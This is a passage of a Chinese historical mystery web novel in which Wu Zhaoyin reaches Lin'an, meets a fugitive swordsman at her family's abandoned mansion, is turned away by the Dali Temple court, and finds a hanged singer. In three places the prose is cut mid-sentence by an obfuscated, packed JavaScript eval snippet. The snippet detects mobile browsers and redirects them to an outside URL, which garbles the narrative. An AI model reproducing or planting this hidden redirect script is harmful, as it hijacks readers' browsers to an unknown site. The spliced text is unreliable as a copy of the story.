“莫因为爷爷而至吴府于险境。” “娘要你活着。 “等我长大了，定不会让你受委屈。” “吴家满门，斩！” …… 迷糊挣扎间，吴昭音被珠儿从梦中摇醒了，醒来时满身的冷汗，手里还紧攥着绣囊。 此时，室内一片昏暗，东方才刚泛起一点鱼肚白。 千里之外，临安城苏府里，萧彦清摩挲着同样的绣囊，却满心疑惑，任他如何的冥思苦想都记不起来历。 五年前，自从舅父将苏彦清接回长安，他便跟了母姓，反正他也从来没见过父亲。从此，世上便再无萧彦清，只有御史台中丞苏氏二少爷苏彦清。 后来，岭南传来前丞相吴淙言大人溘然离世的消息，苏彦清心急如焚。他知那些人定然不会放过吴家后人，昭音妹妹危在旦夕。 于是，苏彦清悄悄备马，欲连夜赶回梅州，但舅父极力阻拦，百般囚禁，甚至以死相逼。 后来，坊间传闻吴家小姐忧思过度，泪枯双目，不敢出门见人。而彼时的苏彦清却只能默默哭泣，青色的绣囊在泪水浸泡下褪成了水绿色。 他当年告诉小昭音“哭”最是无用，但在那段日子里，他除了哭，什么都做不了。 风波过后，苏彦清经常借酒浇愁，时间一长便变得嗜酒无度。一日，他醉酒驾马，从六部桥山上落下马来，掉到了河里。等他再次醒过来的时候，他已经忘记了十六年前的所有人事。再后来，他像换了个人似的，不再与友人阔谈忠奸之辩，也不再终日书山文海，倒是常常能在酒肆乐坊、闹市花湖上遇见他。 一年前，圣上对新晋的举子钦定官职，太学里的同窗们皆以为他会去御史台，但最后他却主动请缨去了大理寺。 “吱呀”一声，苏家长子苏应中顺势推开了半掩的房门，打断了苏彦清的思绪。只见其身着玄青色色直襟长袍，腰束墨色云纹的腰封，显得矜贵而沉稳，但一开口便是嗔怨。苏彦清这才记起今天是他们约定去西湖品茶作画的日子，于是一拍脑袋，收起绣囊，随手拿了件披风就跟着出了门。 一月的西湖，虽寒冰初解，草木萧疏，但其水波澹澹的缥缈之意仍令人欣叹。令人纳闷的是，一路走来，苏家兄弟都没有看到一个行人。 苏彦清望着这烟雾氤氲的西湖，心中不禁畅快了几分，随即拿起腰间的竹萧吹了起来。 远远望去，两位少年，衣袂翩跹，如白汀仙鹤般。 另一边，当朝宰相阎甫申正偎在游舫里看姬妾们奏乐歌舞，忽闻一阵萧声，心中瞬感不悦，一脸怒气地从画舫中走了出来。苏家两兄弟的小舟也恰好行至岸边。 苏彦清见一人垂钓湖边，心想，这鱼儿好不容易捱过寒冬腊月，还尚未感受过春江水暖，就要进人腹中，于是便施以银两，劝钓者放生，全然不知风波将至。游舫上的阎甫申见几人拉拉扯扯，便厉声命手下驱赶。 垂钓者落荒而逃，萧应中不愿惹事，但苏彦清可不这么想。 苏彦卿故意朗声道：“这西湖是天下人的，怎就只能你们游得？难怪街边小儿唱‘朝中无能臣，湖上有甫申”呢’。”苏应中在一旁拉了拉苏彦清衣袖。 “黄口小儿，当年老夫肃清边关之时，你还在吃奶呢。”阎甫申权倾朝野了几十年，哪受过这般折辱。 心腹王汝辰在一旁小声嘀咕，“相爷，这俩小子是御史台苏大人家的。那个骂您的还是个大理寺少卿。” “御史台苏淳礼？” “正是？御史台那还有不少案子跟您——”王汝辰被挥手打断。 “哼，以卵击石，不自量力。”阎甫申冷哼一声，拂袖上岸离去。 苏应中叹了口气，道：“休说这西湖，如今这江山都有三分随他姓。他今日是放过了你我，来日相见就难咯”。苏彦清拍了拍苏应中肩膀，苏应中又笑着补充道：“不过方才人群中有一女子，身披霁色缦衫，望了你许久。” “许是兄长先盯上人家，否则又怎知她在看我呢？” “你——”苏应中自知说不过便就此作罢。 话分两头，另一边夜宿缘来客栈的主仆二人，一早便被老板蒙着面，从暗门里送了出来。摘掉面罩的时候，二人已在一个山洞外面了，路上的叶子上还挂着白霜。两人按照掌柜的吩咐，一直朝着南边的山头走。有时碰到好心的车夫便能带上一脚，有时遇到大雨便只能在旅馆里坐等放晴，就这样，主仆二人边走边歇，走走停停，走了接近半月才行至半程，盘缠倒是所剩无几了。 正当她们捉襟见肘之时，又在街头遇见了余晖。不过这次见他已经不再是可怜的小乞丐，而是一个捻须卜卦的算命先生。 “这位夫人，将此符置于枕下，每日少进谷食，定能逢凶化吉，百事顺遂。”余晖一手摸着假胡子，一手将符交到一体态丰盈的妇人手中，妇人喜不自胜，连忙交了银两，欢欢喜喜地走了。 吴昭音悠然地坐到摊前，余晖只顾着低头数钱，全然不知座前何人，应付道；“求学求子求平安，敢问——”蓦然抬首，稍显惊讶。“吴——公子？” “想不到，你还骗到这来了。”吴昭音冷脸道。 “走，请二位吃酒去。”余晖说着便收拾起招牌。 “骗来的钱，我们可无福消受。”珠儿揶揄道。 “走，咱边走边说。”行至无人处，“你们不知，方才那妇人一顿要进八碗米饭，动辄欺辱婢女家奴。” “所以你劝她少食，既可轻盈体态，又能耗她一些力气？”吴昭音眼眸微咪，双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763188|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱胸道。 余晖嘿嘿陪笑道。 “你小子倒是饿不死自己。” 谈话间，三人来到一家酒馆。吴昭音捏了捏干瘪的钱袋，只点了几道素菜。余晖心想这二人肯定山穷水尽了，便要抢着掏钱，一边还主动解释着自己算卦从不收布衣百姓的钱。 推搡间，一贵妇人看上了吴昭音腰间的绣囊，想要买下来。珠儿自然知道这绣囊的意义，便急着替主谢绝，没想到吴昭音却满口答应。不过，要求是先付了定金，过后再取。结果妇人不仅付了定金，还给了赏钱。珠儿心想这下有路费了，喜眉笑眼地从小姐手上接过银数了起来。 吴昭音好奇为何会在此地见到余晖，余晖则声称自己想去临安考取仵作，于是几人一拍即合，商议结伴前行。 为筹备住食所需的金银细软，吴昭开始每晚挑灯熬油地赶制新式绣品，路过集市时便拿出来贩卖一阵。如此一来，又过了半月，他们终于到了临安。 临安自古便是富庶之地，红墙绿瓦、商铺云集、人声鼎沸。勾栏里传来最新的词曲，花楼里依翠偎红，丝竹笑语之声不绝于耳。 三人找了一家酒楼，点了几样特色小菜，准备为顺利抵京小酌一杯。 “小姐，咱晚上住哪呀？”珠儿倏地问道。 住哪呢？当然是吴家老宅。吴家在临安原有座宅子，阖府迁走后一直无人置买，便空了下来。吴昭音本打算将其作为落脚之处，但又顾忌余晖同行，正纠结如何开口之际，却听到旁桌有人议论起来。 “听说南街吴府旧宅昨夜又闹鬼啦？” “可不是。昨儿晚上，一群官爷抓人抓到了吴府，进去不一会儿就纷纷落荒而逃，也没见躲进去那小子出来。 “据说还是个剑客呢，许是飞檐走壁从别处翻走了呢？” “不可能，吴宅三面环水，这天寒地冻的，干嘛不从前面翻呢？” “今早上我去旁边酒肆买酒，掌柜的说夜半都有鬼叫和打斗声。” “这鬼啊指不定就是那吴老爷，专克那些狗官毛贼。” “得了吧，人活着的时候都回天乏术，更何况不在了。” 吴昭音闻言，手中紧握的筷子几乎要被折断，珠儿担忧地小声唤她，她才回过神。 余晖暗忖，这胆大的姐姐莫不是怕鬼，昭音突然夺过余晖的酒壶给自己满上一杯，一饮而尽。继而自顾自地问：“这世间真有鬼？” 珠儿不知如何作答，支吾不言。 余晖为了打破气氛，忙道：“那吴老爷生前爱民如子，即便成了鬼，也是保佑百姓的善鬼，你们莫要害怕。” 珠儿听到此话，不知是否应当附和，轻轻地咽了下口水。 余晖转念一想：吴小姐，吴宅？莫不是旧亲？小声脱口道：“你不会是吴——昭音？” “嘘。”珠儿拍了一下余晖脑袋。 见吴昭音没有否认，余晖诧异道：“原来你没瞎？” 珠儿骂道：“你才瞎呢？”说完便要去打余晖。 吴昭音心里五味杂陈，拿起酒壶又准备倒酒，被珠儿拦住道：“小姐，快酉时了，咱们早些回府吧。” 余晖嚷嚷着也要去，不然就去说书先生那里换点赏银，昭音感到无可奈何。 不过，那吴府旧宅真的有鬼吗？昨夜潜入的年轻剑客究竟去往何处呢？ 5. 吴府旧宅 吴府旧宅。傍晚时分。零星小雪。 四下无人之际，吴昭音用母亲给的钥匙打开了旧宅的大门。首先映入眼帘的便是一个空荡荡的园子，园子西边有一排梅树。吴昭音记得以前梅树下还有有秋千荷塘，仲夏时，坐于秋千上凉风拂面。雪日时，立于秋千上可摘得高处的梅花。但是眼下这个园子杂草丛生，不禁让人想起那几句“四壁萧条,寒水自碧,暮色渐起,戍角悲吟。”，恍如隔世般。 过了酉时，天就暗得快了起来。几人愣神间，宅内传出一阵窸窣异响。余晖推开宅子的大门，里面漆黑一片。吴昭音点着刚买的油灯，带着二人往里走。 刚进大堂，一阵冷风就把后面的门给带上了。头顶破旧的灯笼好似活物般摇晃摆动，哗啦作响。 珠儿有些许害怕，一手拉着小姐，一手拉着余晖。 “嘿！”“啊——”珠儿被余晖吓得尖叫起来。余晖笑道：“你小时候不是住这吗？” 吴昭音把食指放唇边轻轻发出一声“嘘——” 风将灯光吹得闪烁，映得破屋中忽明忽暗，只见一件白色的长袍搭在角落的架子上随风飘动，像个鬼魅一般。走近一看，长袍上端还挂着一个黑底白纹的包裹，包裹上趴着几只色彩斑斓蝴蝶，被油灯的光线一晃就发出了微弱的光芒，从远处看就如同鬼魅之眼。 “蝴蝶？这个时节怎会有蝴蝶呢？”珠儿说出吴昭音心中所想，三人继续向前。 出了大堂，穿过中院斑驳积尘的长廊，再往里走就是后花园了。三人又绕过水磨砖墙，进入了垂花门，里面居然别有洞天。 绿柳周垂，池水清冽，假山相映，古藤盘虬如卧龙般直冲逐渐被黑暗吞噬的云霄。 吴昭音心中纳闷：外面的荷塘已经干涸，这儿为什么有水呢？ 余晖举着灯在池塘上晃了一下，发现水上有氤氲的水汽。 珠儿连忙蹲下来用手撩了一下池水，余晖紧张道：“小心。 珠儿转过头来一脸天真道：“还是热的，珠儿想起来了，咱俩小时候在此洗过澡。” 余晖有些不好意思地摸摸头道：“你们这府上太古怪了。” “这是温泉，有什么稀奇的。” “那蝴蝶呢？” 吴昭音从余晖手上接过油灯四下照了照：“有脚印。” 旁边两人齐声道：“男人的脚印。”吴昭音心想莫不是那个青年剑客留下的，顺着往假山后面走，出现了一个一人高的白色的棚子。 吴昭音摸了摸棚子，又闻了闻道：“应该是用涂油的纸做的。”举灯一看才发现棚子内壁上有几只蝴蝶。吴昭音把灯递给了珠儿，用手指甲在棚子上戳了个洞，凑近一看，只见里面一片姹紫嫣红、蝶飞蜂舞。珠儿和余晖见吴昭音看的出神，也要轮番窥探，一只向洞口袭来的蜜蜂差点蛰了珠儿的眼。 余晖打了一个哈欠道：“怪是怪，可是太困了。咱找个地方睡上一觉，明儿就都明白了。” 珠儿眉梢一挑没好气道：“除了吃就是睡。” 话音刚落，钟鼓楼恰好传来戌时的钟声。吴昭音吩咐两人拿着水桶去内室擦洗床椅，自己则找来被褥之类。 余晖刚擦完一张床就躺下了，珠儿拉他道：“还没干呢，你给我起来，这是我的床。” “珠儿过来跟我睡。”吴昭音冷不丁道。 珠儿蹦蹦跳跳地走到吴昭音身旁托腮道：“小姐，咱们明天要去方大人府上么？” “不是咱们，是我自己。” “为什么？珠儿千里迢迢地跟着你，为什么不让我去。小姐是不是怕遇到危险，珠儿不怕。”珠儿央求道。 吴昭音摸摸珠儿扬起的脑袋，郑重其事道：“因为你要去帮我做另一件事。”说着就从怀里掏出一份名单，“喏，明日采购的丝线种类。” “哼，这多大点事呀。”珠儿嘟囔着。 吴昭音将双手覆在珠儿肩上笑道：“卖好了绣品，才有银子呀。” 忽然，屋顶上传来动静，十分微弱，只有吴昭音听得清楚。三人又继续忙活了一阵，才吹灯休息。 见几人睡稳，一白衣暗影摸黑而入，还不待走近床榻就被一阵烟迷晕了过去。吴昭音捻火掌灯，再定睛一看，地上躺着一个披头散发的白衣老人，老人迷迷糊糊，微微张了张嘴便昏睡过去。 “小姐，他是谁呀？”珠儿又惊又奇，余晖也连忙从房里赶了过来。 “上面的兄台，不下来帮帮你的朋友吗？”吴昭音肃声道。 屋顶上的人叹了口气，一跃而下，翻窗而入。 来人身长八尺，一身黑色的蝠纹劲装，剑眉星目，如鹰隼般锐利的眼神中却透着些许憔悴。 “在下刘凌风，泗水十五军州安抚使刘熙尧之子，奉父命来京办事，多有叨扰。”刘凌风抱拳道。 “那这位呢？”余晖指着地上的老者说。 刘凌风弯下身子探了探老者的鼻息，松了一口气，道：“他是你们府上原来的家仆。” 珠儿听完赶紧蹲下来，撩开老者的头发仔细观看。 吴昭音持灯也近了几分，忽然展颜一笑道：“珠儿，你猜他是谁？”珠儿摇头。 “你爷爷。” 珠儿目光闪烁又带着疑惑的喃喃：“我爷爷？” “对。”说罢，吴昭音拿来凉水，又掏出一粒甘草丸捻碎给老者服下。不一会儿，老者便清醒过来。 “你是爷爷？”珠儿试探地问，“我以为你早就不在了呢。我是珠儿啊爷爷。” 老者还未开口，泪就流了下来，摸着珠儿的头望着吴昭音道：“小姐，我了等七年，你们再不来，我老穆恐怕就真成鬼了。” 原来，当年并非所有人都去了梅州，比如留下来守宅的穆管家。 穆家爷孙二人喜极而泣，互相款叙。 吴昭音轻声道：“刘公子借一步说话。”三人出了内室，吴昭音坐下来喝了口水道：“你父亲统领一方关隘，不至于没钱住店吧？”” “吴小姐有所不知，我爹即将身陷囹圄，我此番进京正是要向朝廷鸣冤的。昨夜我遭人追杀，是穆先生收留了我，还请勿责怪他。” 吴昭音摆摆手道：“无妨，公子说要鸣冤？” “正是。当今宰相阎甫申为大揽兵权，自歇战后便对朝中武将暗中打击。不久前，朝中颁布法度要清算咱们的战时用度，核算方式极其严苛。想我父亲统帅人马数十万，偶尔嘉奖将士、赏赐部下再也正常不过。那户部的卢知年跟我父有旧怨，他抓住机会，给父亲扣上了个贪污军饷的大帽子。” 此番铿锵愤懑的话语听得一屋子人怒火中烧，珠儿和穆管家也闻声走了出来。 穆管家叹气道：“那阎老贼一旦发现账目稍有不清，则一律以盗窃罪论处，轻则降职免官，重则依律处死。不少曾立下赫赫战功的将领都被押来京中，打下大狱，有的甚至惨死狱中。” 吴昭音抑制着内心的不平，正色道：“那公子见到圣上了吗？” “那贼人怎会让我见到，即便我多处打点，散尽盘缠，却连各大衙门的大门都进不去。”刘凌风摁着左臂，沮丧地垂下头。 “咚咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763189|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咚。咚咚咚”外面突然传来一阵急促的敲门声。 “不好，他们又找上来了。”刘凌风愧色道。 门外的人嚷嚷道：“少爷，就是这里。”“你嚷嚷啥？没用的东西。” “谁？”余晖珠儿慌张道。 “卢知年的人。刘凌风就此别过，大家不要出去。”说完，刘凌风就往外闯，被穆管家一把拉住：“你身上还有伤，今天肯定是打不过的。”。 一阵猛烈的撞门声后，“大人，这门居然反锁了。” 余晖一咬牙，从包袱里面掏出一颗骷髅道：“咱们还是吓他一下吧。”珠儿见了吓得扶着吴昭音。 外面又传来：“翻墙进去！”“是！” 吴昭音不慌不忙道：“刘公子，你去后面躲起来，穆管家，把这些唬人的东西收起来。” “不，他们都是冲我来的。”刘凌风忙道。 吴昭音没有理睬，转过头对珠儿道：“珠儿开门。” “啊？小姐。”见吴昭音一脸镇定，珠儿只好去开门。 刘凌风沉沉地叹了口气，只好转身闪至后院。 大门打开，两队人冲了进来，为首的人喝到：“刘凌风呢？你们是何人？” 吴昭音悠悠道：“诸位翻墙而入，不知阁下是何人？” 一小兵叫嚣道：“你们连卢公子都不认得吗？户部侍郎卢知年的三公子。” “原来是卢公子，我们初来乍到，有眼不识泰山。公子尊贵，不知今夜为何翻墙来此呢？” “我——”卢三公子一时语塞，又立马反问道：“你是何人？你们又是怎么进来的？” 吴昭音拉过穆管家，扬了扬手上的钥匙道：“我们跟随外祖父来的，祖父今日买了吴家的宅子，这是地契。”说着便从腰间拿出一张文书递上。 卢三公子看了两眼，抬眉仍是一脸狐疑道：“你是几位是何关系？” 吴昭音指着旁边的珠儿道：“这位是我弟弟。这——” 卢三公子打断道：“本公子要你说——老头，你说。” 穆管家微微笑道：“这个年纪小点的是我的孙子，这个大点的是外孙。他们听说老朽买了这宅子，都要过来抢，你看我这还没死呢？真是命苦哦。”说完还装模作样地擦了擦眼泪。 果然姜还是老的辣，三少年心下暗暗佩服。 “那你呢？” 余晖指着自己道：“我？”又指了指着吴昭音道：“我是他的朋友，来京城考仵作的。” “仵作？！”卢三公子一行人闻言纷纷退后，一脸嫌弃。 “又买鬼宅，又交仵朋友，你们一家人可真奇怪。”卢三公子顿了顿又道：“把通关文牒都拿出来瞧瞧。” 其余几人都拿出了文书，到昭音这里时，她面露难色道：“三公子，小的貌似把文书落在聚珍斋，我明日去取可好？” “丢了文牒可是要交罚金的。”三公子甩着腰间的蹀躞道。 “交交交。”吴昭音从口袋里拿出一锭银子交到三少爷手中，见其没有收手，又交了一锭，珠儿在一旁攥紧了拳头。卢三少一边得意，一边感慨眼前男子的手竟如柔荑般细滑，竟一把抓住。幸而吴昭音迅速挣脱，尴尬笑道：“三公子莫开玩笑呀。” 卢三公子也尴尬得笑笑说：“本公子担心手滑而已。”一众手下在后面一脸惶恐。“你们当真没在宅子里见过其他人？” “没有没有。”吴昭音一行人齐声道。 “撤吧！”卢三公子带着随从大门快步离开。 众人这才松了一口气。 6. 堂鼓难鸣 翌日一早，风和日暖，薄雪初融。 吴昭音简单梳洗过后便动身前往方府，拜望谏议大夫方鹤堂。 一进方府，两个十四五岁的丫鬟端着茶水嬉笑着从吴昭音面前走过，其中一个不留神被裙裾绊倒。吴昭音赶忙搀扶，一不小心捏到了姑娘结实的小臂。小丫鬟见其是男子，惊吓不已，娇羞地走开了。 方鹤堂闻声赶了出来，笑容可掬地将吴昭音迎了进去。一番寒暄过后，吴昭音向其呈上母亲的书信。 见方大人一言不发，吴昭音正欲探问，方鹤堂叹气道：“此案牵连甚广，然又无一证据，恐怕不易。” 吴昭音见其为难，心下一沉，便道：“晚辈早知此事难如登天。既然如此，只好从长计议，我另想它法。晚辈告辞。” 方鹤堂喊着吴昭音，忙道：“你我两家亦亲亦友，你既上京找来，老夫定不能眼睁睁地见你独自涉险。待我亲笔一封，你将其转交给大理寺少卿萧大人。” 吴昭音闻言大喜，连忙跪谢，被方鹤堂一把拉住道：“咱们舅甥一别多年，今日定要用过午膳再走。”见其如此盛情，昭音便留了下来。 席间，听闻方大人曾在礼部任职，吴昭音向其打听是否在举子中听过萧彦清的名字，方鹤堂坦言毫无印象。 见吴昭音难掩失落，方鹤堂笑问萧彦清是吴昭音何人。吴昭音讪然一笑，慌称是少时旧友而已，匆忙扒饭。 大概是许久没有吃到如此多的山珍海味了，吴昭音大快朵颐。而另一边的大理寺内，有人的肚子里却是咕噜作响。 “少卿大人，您再不用饭，厨子们就要歇息了。”大理寺丞皱眉劝道。 “马上。”话虽然如此，苏彦卿仍纹丝不动。 寺丞又换了个站位道：“案子是办不完的，您身子要紧，要是犯了胃疾，御史大人定要让我吃不了兜着走——”见苏彦清脸色倏沉，寺丞赶紧住嘴。 “寺丞大人才真真是辛苦。既要断案，又要顾虑我的身体，还要担心御史大人。”苏彦卿哂笑道。 “下官不敢，下官不敢。”寺丞连连摆手。 “你有什么不敢的？这县州里大批的案子送上来，你又亲审了多少呢？” 寺丞吓得赶紧跪倒在地，哆哆嗦嗦，不敢言语。 苏彦清见其怯懦之态，厌恶地起身离开。 少倾，见苏彦清走远，寺丞爬起来拍拍灰，狞笑道：“不识好歹的东西，给我等着，哼！” 忽然，一捕快来报：“启禀大人，有一男子，声称是什么吴淙言的后人，前来伸冤。这是诉状。” “他娘的，走了个爷爷，又来了奶奶。”寺丞接过讼状，“吴淙言的后人？年纪多大？” “大概——十六七？” “我怎记得他孙子只有——什么？”寺丞原是随意翻看，倏地一脸讶异。 “大人，这还有谏议大人的亲笔，您看——” 寺丞接过书信，慢慢坐到椅子上沉思片刻，半晌道：“你去跟他讲：依照当朝历法，证据不足、口供不实，轻则发配，重则处斩。念他是官宦之后，年龄尚小，恕其无知。请速速离开。” “是。那他的诉状？” “都还给他。等等。若问就说是少卿大人的意思。 “这——” “这什么这？难道历法还有错的吗？” “是。” “另外，此人十分可疑，去查查底细。” “啊？” “还不快去！” 捕快连忙拿了诉状向吴昭音回话，吴昭音不可置信。 “敢问方才是哪位大人审的？” “是少卿苏——苏大人。” 吴昭音暗骂好一个证据不足，口供不实，若天下的案子都能轻易证实，还要这些断狱衙门干什么？真是狗官一个。她边想便往外走，伤心与愤怒充斥着内心，全然没有留意身边擦肩而过的苏彦清。 苏彦清刚从街上买完烙饼，见一清秀少年无精打采地往外走，手里的东西掉了都没发觉，便好奇拾起。 “梅州知县？吴淙言？诶——小兄弟，你状纸掉了。” 吴昭音闻言转身，日光笼罩照在来人绯色的官袍上，鲜艳夺目得让人睁不开眼。轻微的逆光下，一个鬓发如漆、眉眼如画的少年官人映入眼帘。可昭音此时可没有闲情赞叹，抓起苏彦清手上的状子随口道了谢就走。 “少卿大人，寺丞大人问此次仵作复试如何安排？”刚刚的捕快拦住了正要喊话的苏彦清。 吴昭音心想，又是一个少卿大人，那么多少卿大人一个有用的都没有，不知道都是如何考上的。 “那就明日吧。”等苏彦清转过身来时，吴昭音已经消失在大理寺门前了。苏颜清又问捕快可知方才告状之人所讼何事，捕快谎称不知。 从岭南入京一月有余，吴昭音头一回感到沮丧无助，垂头灰心之际却恰好碰到了余晖。 “公子好久不见。”余晖打趣道。 “考得如何？” “明日还需再考。你呢？” 吴昭音深深地叹了口气，欲言又止。 “我听说临安城最可口的点心都在聚仙楼，就在前面，我请客。” “你天天请客，可一点儿都不像个仵作。” 余晖怔住：“那仵作应该如何？” “仵作——”吴昭音一时语塞。 “仵作就应该穷困潦倒，整日守着个尸体清心寡欲吗？” “诶，我并无此意。你别——罢了，反正我心中也不爽，就当陪我吧。” 余晖诧异道：“我当公子抱瑜握瑾，没想到还有这缺德之时。” 谈话间，两人已行至聚仙楼。仰面望去，整座楼巍峨富丽，木质结构，只留一门。大门正中挂着“聚仙阁”的牌匾，门口客官络绎不绝。一楼的戏台上方挂着许多金字帐檐，上面写的都是剧目名字，台边的琴师交头接耳。 吴昭音心想不是来吃点心的吗？怎么来了戏园子了？这小子可真会玩。 “一楼是戏台，咱们上三楼。”余晖兴奋道，三步并作两步地朝楼上跑去。 二楼是普通的酒席铺子，三楼则是听书喝茶的地方，吴昭音已多年没有来茶楼了，心里感觉甚为亲切。 刚一落座，台子上的说书先生就开口道：“话说近日，咱们大理寺的少卿大人苏彦清又破了一桩命案，真是令人称奇。” “苏？彦清？”吴昭音拾起一颗瓜子念叨。 “今日的考官正是他。” “大理寺有几个姓苏的少卿？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763190|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一个。” “原来是他。”吴昭音耐着性子继续听道。小二陆续端上糕点。 “有一日，少卿大人恰好去一位官员府上查案，碰到该大人的小妾自饮了毒酒，所幸那毒酒毒性不强，一时半会没死，在家中昏迷不醒。” “少卿大人嗜案如魔，遇到此事，想必定是免不了侦查一番。”旁边的书生摇着扇子说。 吴昭音心想，好一个嗜案如魔!大冬天的扇什么风？真是如蚁附膻、装腔作势。 说书先生继续道：“少卿大人发现，小妾在自杀前曾写下一首小诗。” 座下书生更是来了兴致，纷纷问道是何诗。 “非花非雾梦初长，我愿随风入画堂。自古情深多磨难，愿君相伴度时光。”说书先生摇头晃脑。 “是首情诗。” “肯定是这位官员巧取豪夺，小妾不甘委身。”有书生说道。 吴昭音冷笑一声道：“是首藏头诗。”座下突然沉默，吴昭音继续道：“非我自愿。这姑娘寻短恐怕身不由己。” 说书先生一拍大腿道：“正是。少卿大人正是此言。” 其他茶客投来欣羡的目光，余晖亦笑着偷偷在袖口探出大拇指，吴昭音对其翻了个白眼。 “但是没想到过了几天，那个小妾还是死了，而且确实是毒死的。”见众人惊呼，先生继续道：“少卿大人内疚不已，誓要查出个水落石出。一般而言，中毒者的尸体会面呈青黑色或青色，嘴唇黑紫，手脚的指甲应该都是青黑色的，但少卿大人发现此般症状在该女子身上并不明显，而且该女子躯体上出现了褐色瘢痕。” “难道是慢慢的中毒？” “非也，自头次毒发后，该小妾就被严加照看，排除继续用毒可能。” 座下一脸茫然。 “这少卿大人围着这尸体呀是左一圈右一圈，终于发现可疑之处。”先生嘬了一口茶道：“他发现尸体的肢体肿胀，而且两侧肿胀程度不一，左侧要更为明显。” “肿胀。褐色瘢痕。”吴昭音看向余晖，两人齐声道：“蛇毒？” 这下又被众人听了去，有人埋怨道：“是你们讲还是先生讲？” 吴昭音与余晖讪笑着，装作没听见似的继续望向台上。 “对。是左侧腿部中了蛇毒。但这寒冬腊月，何处来的蛇呢？”先生继续卖关子。 “一定是有人故意放的。” “所以呀，少卿大人就去找呀，药铺，菜场……最后足足找了两月。大家猜是哪里找到的。”说书先生又一脸得意。见无人出声，他一字一顿道：“驯兽团。” “啊？那毒蛇要是失控了岂不是个大祸害。” 说书先生笑道：“少卿大人非但除了祸害，还揪出幕后黑手。原来是那官员为人清正，得罪了富商。那富商徇私报复，悄悄跟踪其小妾，逼她就范，事后妾室不敢苟活，谁料留下一命，怎知那富商又杀人灭口，这才酿此悲剧。” 话一说完，座下正唏嘘不已，忽然传来一阵女子的尖叫声。 “是楼上？”吴昭音正色道。 “楼上是是妙音阁，据说是弹琴唱曲的地方。”余晖解释。 “走，去看看。”二人往楼梯走去，迎面碰上了一身常服的苏彦清。 7. 乐坊女尸 暮色将沉，聚仙楼华灯初上，苏彦清长身而立，薄唇轻抿，目光冷冽，暖黄的烛光映在脸上却透着冷意。 吴昭音心想这不是那个少卿大人吗，果然大理寺里都是闲人，在这里也能碰上。 “少卿大人也在这里。”余晖憨笑着搭讪。 苏彦清只是微微地点了点头便快速地上楼，身后还跟着两名带刀侍卫。吴昭音与于辉也紧跟了上去。 上了楼梯，穿过阵阵香风，拐过几个单间便到了一个门口围满看客的厢房。 “大理寺办案，闲杂人等不要干扰！”一侍从大喝道，众人闪开了一条路，吴昭音和余晖也随着他们溜了进去。 只见一妙龄女子披头散发，以麻绳吊于房梁上，死状凄惨。旁边的白玉琉璃香炉上烟丝袅袅，香气略微甜腻。 苏彦清沉着脸，揪了揪眉心道：“谁发现的？” “少卿大人，是我，我推门的时候芸儿姑娘已经——”一侍女哭啼道。 苏彦清环视了一下房间道：“之前可有其他人进来过？” 侍女摇头道：“没有。芸儿姑娘最近嗓子不好，一直在房中练琴。姑娘不喜欢练琴时被打扰，所以我等琴声停了再扣门进来的。” “把尸体放下来。”苏彦清冷声命令道，两个手下迅速麻利地将尸体放下。 苏彦清蹲下来简单地撇了一眼：“扣门？她答应你进来了？” “没有，我听到了一声响，又敲了好多下才进来的。” 苏彦清对一旁的侍卫吩咐道：“去叫仵作过来。” 余晖连忙站出来：“我可以吗？” 苏彦清这才注意到方才的两人也跟着进来了，语气不太确定道；“你是——余晖？” “对！”说着余晖就往前走，吴昭音在后面拉住他衣角，谁知其根本不理，吴昭音心想这莫不是遇到了个苏妲己。 苏彦清这才展眉轻笑道：“可你拿什么验呢？” 余晖炫弄般将他的包裹往桌子上一甩，抖出一堆镊子、银针、瓶瓶罐罐，当然还有那颗骷髅，引得众人一番窃语。 “好，若是今日你助本官侦得此案，明日的复试就免了。” “好嘞。麻烦侍卫大哥帮我提桶水来。”余晖满意地摆好工具，苏彦清和侍卫则在一旁驱散起看客。 “死者为女子，还望这位公子暂时回避。”苏彦清对吴昭音温言相劝。 “可少卿大人亦是男子。”吴昭音故作一脸天真的道。 苏彦清突然噎住，正色道：“那你我一同回避。”说着就把吴昭音和侍卫都拉到了外屋，关上房门。 吴昭音突觉尴尬，随手在书柜旁拿起一个罐子把玩起来，却不小心掉到了地上。突然，一股异味袭来。吴昭音好奇地拾起罐子，只见里面有陈旧的血色，还混杂着虫子的气味。 “这是何物？”苏彦清倾着身子，好奇地问道。 